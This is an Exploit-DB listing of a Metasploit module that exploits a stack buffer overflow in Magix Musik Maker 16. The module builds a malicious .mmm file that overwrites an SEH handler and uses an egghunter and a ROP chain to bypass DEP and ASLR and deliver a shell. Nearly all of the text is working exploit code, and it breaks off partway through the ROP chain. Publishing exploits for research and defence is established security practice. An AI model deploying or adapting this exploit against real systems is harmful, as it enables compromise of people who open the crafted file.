Exploit-DB #17313
Description: Magix Musik Maker 16 - '.mmm' Local Stack Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2011-05-22
Author: Metasploit

Exploit:
##
# $Id: magix_musikmaker_16_mmm.rb 12688 2011-05-22 23:41:15Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Magix Musik Maker 16 .mmm Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Magix Musik Maker 16.
				When opening a specially crafted arrangement file (.mmm) in the application, an
				unsafe strcpy() will allow you to overwrite a SEH handler.  This exploit
				bypasses DEP & ASLR, and works on XP, Vista & Windows 7.  Egghunter is used, and
				might require up to several seconds to receive a shell.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
			[
				'acidgen',      #found the vulnerability
				'corelanc0d3r'  #rop exploit + msf module
			],
			'Version'        => '$Revision: 12688 $',
			'References'     =>
				[
					[ 'OSVDB', '72455'],
					[ 'URL', 'http://www.corelan.be/advisories.php?id=CORELAN-11-002' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'       => 8000,  #could be more, but this is enough
					'DisableNops' =>  'True',
					'BadChars'    => "\x00\x0a\x0d",
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[
						'Windows Universal DEP & ASLR Bypass',
						{
							'OffSet' => 198,
							'Ret'    => 0x200146fa,  #add esp,40c/ret [ltkrn14n.dll]
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Apr 26 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'mmm file',  'msf.mmm']),
			], self.class)
	end

	def junk
		return rand_text(4).unpack("L")[0].to_i
	end

	def exploit

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		badchars = ""
		eggoptions =
		{
			:checksum  => false,
			:eggtag    => "Wo0t",
			:depmethod => "copy",
			:depreg    => "edi",
			:depdest   => "ebp"
		}
		hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)

		header = "RIFF"
		header << "\x8c"
		header << "A"
		header << "\x07\x00"
		header << "SEKDSVIP"
		header << "\x10\x07\x00\x00\x9b"
		header << "[n"
		header << "\x00" * 5
		header << "\x11"
		header << "\x00" * 3
		header << "\x08"
		header << "\x00" * 3
		header << "D"
		header << "\xac\x00\x00\x11"
		header << "\x00" * 9
		header << "9@"
		header << "\x00\x00\xf0"
		header << "B"
		header << "\x00" * 4
		header << "\xbd\x04\xef\xfe\x00\x00\x01"
		header << "\x00" * 3
		header << "\x10\x00\x04\x00\x02"
		header << "\x00" * 3
		header << "\x10\x00\x04\x00\x02\x00"
		header << "?"
		header << "\x00" * 3
		header << "("
		header << "\x00" * 3
		header << "\x04\x00\x04\x00\x01"
		header << "\x00" * 15
		header << "K"
		header << "\x91"
		header << "2"
		header << "\x01\xd0\x02\x00\x00"
		header << "@"
		header << "\x02\x00\x00"
		header << "UUUUUU"
		header << "\xf5"
		header << "?"
		header << "\x10"
		header << "\x00" * 7
		header << "\xff" * 8
		header << "\x00" * 1680
		header << "LISTx"
		header << "\x95\x02\x00"
		header << "physfile"
		header << "\xf8\x08\x00\x00"
		header << "C:\\Documents and Settings\\"
		header << rand_text(8)
		header << "\\My Documents\\MAGIX_Music_Maker_16\\AudioTemp"
		header << "\x00" * 52
		header << "Fat Rocker I_ogg.HDP"
		header << "\x00" * 110
		header << "C:\\Documents and Settings\\All Users\\Application Data\\MAGIX\\Music_Maker_16\\_Demos\\Demo"
		header << "\x00" * 175
		header << "Fat Rocker I.OGG"
		header << "\x00" * 678
		header << "\xf0\xbf"
		header << "\x00" * 22
		header << "\xf0"
		header << "?"
		header << "\x00" * 6
		header << "^@"
		header << "\x00" * 6
		header << "^@"
		header << "\x00" * 264

		filename = "C:\\temp\\"
		filename << "\xb3\x10\xf8\x1f" * 14  # slide
		filename << "\x1e\x92\x01\x20"       # align

		rop_chain1 =
		[
			#API pointer
			0x2004e493,  # PUSH ESP # ADD EAX,20 # POP EBX # RETN  ** [LTKRN14N.dll]
			0x1ff810b3,  # rop nop
			0x1ff810b3,  # rop nop
			0x1ff810b3,  # rop nop
			0x20047f30,  # POP ECX # RETN  ** [LTKRN14N.dll]
			0x2005012c,  # &API ptr
			0x200263e4,  # MOV EAX,DWORD PTR DS:[ECX] # RETN  ** [LTKRN14N.dll]
			0x1ffa3ab3,  # MOV DWORD PTR DS:[EBX],EAX # MOV EAX,1 # POP EBX # RETN 0C  ** [LTDIS14n.dll] 
			junk,
			0x2004e493,  # PUSH ESP # ADD EAX,20 # POP EBX # RETN    ** [LTKRN14N.dll]
			junk,
			junk,
			junk,
			0x20035546,  # MOV EAX,EBX # POP EBP # POP EBX # RETN  ** [LTKRN14N.dll] 
			junk,
			junk,
			0x1ff95f45,  # PUSH EAX # POP ESI # RETN 08  ** [LTDIS14n.dll] 
			0x1ffa82ef,  # POP EAX # RETN
			junk,
			junk,
			0x2E9FA63D,
			0x2004cb15,  # ADD EAX,74085539 # ADD EAX,5D58046A # RETN  ** [LTKRN14N.dll] D16059A3
			0x1ff93af7,  # ADD EAX,ESI # POP ESI # RETN  ** [LTDIS14n.dll]
			junk,
			0x20047f30,  # POP ECX # RETN  ** [LTKRN14N.dll]
			0x2001283a,  # POP ESI # POP EBP # POP EBX # ADD ESP,1F4 # RETN 10  ** [LTKRN14N.dll]
			# write
			0x1ff9cf5a,  # MOV DWORD PTR DS:[EAX],ECX # MOV EAX,1 # POP ESI # RETN 08  ** [LTDIS14n.dll]
			junk,
			0x2004e493,  # PUSH ESP # ADD EAX,20 # POP EBX # RETN  ** [LTKRN14N.dll]
			junk,
			junk,
			0x20035546,  # MOV EAX,EBX # POP EBP # POP EBX # RETN  ** [LTKRN14N.dll]
			junk,
			junk,
			0x1ff95f45,  # PUSH EAX # POP ESI # RETN 08  ** [LTDIS14n.dll]
			0x1ffa82ef,  # POP EAX # RETN
			junk,
			junk,
			0x2E9FA5F9,
			0x2004cb15,  # ADD EAX,74085539 # ADD EAX,5D58046A # RETN  **